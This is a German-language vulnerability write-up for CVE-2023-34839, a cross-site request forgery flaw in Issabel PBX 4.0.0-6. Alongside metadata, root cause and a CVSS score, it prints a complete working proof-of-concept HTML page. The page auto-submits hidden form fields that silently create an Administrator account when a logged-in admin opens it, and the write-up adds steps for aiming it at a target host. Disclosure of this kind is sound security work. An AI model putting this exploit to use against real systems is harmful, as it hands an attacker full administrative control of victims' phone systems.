
CVE-2023-34839 ist eine Cross-Site Request Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications.
CVE-2023-34839 ist eine Cross-Site-Request-Forgery-Schwachstelle (CSRF), die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Plattform für Unified Communications. Die Schwachstelle befindet sich im Endpunkt der Benutzerverwaltung und ermöglicht einem nicht authentifizierten Remote-Angreifer, stillschweigend ein neues Administratorkonto zu erstellen, indem er einen aktuell authentifizierten Administrator dazu bringt, eine speziell gestaltete Webseite zu besuchen.
| Feld | Wert |
|---|---|
| CVE-Kennung | CVE-2023-34839 |
| Datum | 23. Juni 2023 |
| Forscher | Sahil Ojha |
| Anbieter | Issabel |
| Produkt | Issabel PBX |
| Version | 4.0.0-6 |
| Getestet auf | Windows |
Issabel PBX 4.0.0-6 implementiert keinen CSRF-Schutz (z. B. Synchronizer-Tokens, SameSite-Cookie-Attribute oder eine Validierung der Origin- / Referer-Header) am Endpunkt Benutzererstellung:
POST /index.php?menu=userlist&action=new
Da die Anwendung für die Authentifizierung ausschließlich auf Session-Cookies setzt und keine Validierung zustandsändernder Anfragen durchführt, wird eine manipulierte POST-Anfrage, die von beliebiger Herkunft gesendet wird, akzeptiert und mit den vollen Rechten der angemeldeten Administrator-Sitzung verarbeitet.
Grundursache: Fehlende Validierung von Anti-CSRF-Tokens bei zustandsändernden administrativen Endpunkten.
Schwachstellenklasse: CWE-352 — Cross-Site Request Forgery (CSRF)
| Software | Version | Status |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Verwundbar ✔ |
| Metrik | Wert |
|---|---|
| CVSS v3.1-Vektor | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Basis-Score | 8.8 (Hoch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Erforderlich (Administrator-Besuch) |
| Scope | Unverändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
Ein Angreifer kann diese Schwachstelle durch die folgenden Schritte auf hoher Ebene ausnutzen:
Vom Opfer ist keine andere Interaktion als der Besuch einer einzelnen Seite erforderlich.
⚠️ Nur für Bildungszwecke und autorisierte Tests.
Ersetzen Sielocalhostdurch den Hostnamen oder die IP-Adresse der Ziel-Issabel-PBX-Instanz.
Wenn Sie gegen einenhttps://-Endpunkt mit einem selbstsignierten Zertifikat testen, müssen Sie zuerst die Ziel-URL im selben Browser aufrufen und die Zertifikatswarnung akzeptieren; andernfalls blockiert der Browser die Cross-Origin-Formularübermittlung.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Die Exploit-Datei ist auch in diesem Repository verfügbar: CSRF Exploit.html
Navigieren Sie zur Weboberfläche der Issabel-PBX und melden Sie sich mit Administrator-Anmeldedaten an.

Kopieren Sie den obigen PoC-HTML-Code und speichern Sie ihn als .html-Datei, wobei Sie localhost durch den tatsächlichen Hostnamen oder die IP-Adresse der Ziel-Issabel-Instanz ersetzen.
Der Exploit verwendet versteckte Formularfelder, um stillschweigend eine POST-Anfrage zur Erstellung eines neuen Benutzers an die Anwendung zu senden. Beim Laden der Seite sendet das eingebettete JavaScript das Formular sofort ab, ohne dass eine sichtbare Benutzeraktion erforderlich ist.
